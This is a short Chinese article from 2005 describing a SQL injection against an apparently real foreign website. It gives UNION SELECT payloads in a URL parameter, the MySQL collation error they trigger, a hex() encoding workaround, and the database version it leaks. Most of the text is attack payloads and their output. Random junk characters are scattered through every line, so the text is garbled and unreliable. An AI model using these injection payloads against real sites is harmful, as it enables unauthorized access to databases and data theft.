本文作者:SuperHei3 a3 d& t/ {% T3 m) v3 K; s
文章性质:原创
6 J' ~8 e8 \! K2 K! M发布日期:2005-10-18
9 d) U3 b; R" a- _, c1 @测试个国外的站时: {7 d* {5 h1 K2 L% R H
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*; O9 R+ G- U' L
返回错误:
+ [1 `, A) u! k, i# i' XIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
# t' J0 w+ X$ c6 ~MySQL Error No. 1268 g) l( o$ C. Q9 V1 Q }
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。6 b& V' k, N, @' z
解决办法:转为其他编码如hex。
' |! e6 V% H5 a/ c/ V1 t5 o4 ?url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*( u7 a& V- f, ^. ~0 h
成功得到hex(version())的值为:
4 h9 o! P" [( g5 F, }/ o342E312E332D626574610 \: ?# ]- V* M, w2 f
回Mysql查询下得到:
+ ~, h0 t. E+ [3 G9 a: Umysql> select 0x342E312E332D62657461;) W/ l8 X1 s& `; |8 \0 ~2 a
+------------------------+
1 p2 C5 n( l0 ~6 c# r! c. p| 0x342E312E332D62657461 | C. C$ @( H) Q) A' ]
+------------------------+/ {% u9 [( Q" a9 V5 [+ M1 V4 N& q& g
| 4.1.3-beta |8 U- ?; X+ n5 u o. ^2 q
+------------------------+2 C* T# p) T( Z4 X' |/ Y
1 row in set (0.00 sec)
# l2 b& s. z9 v, g
$ }% }- e- p1 Z+ f; C |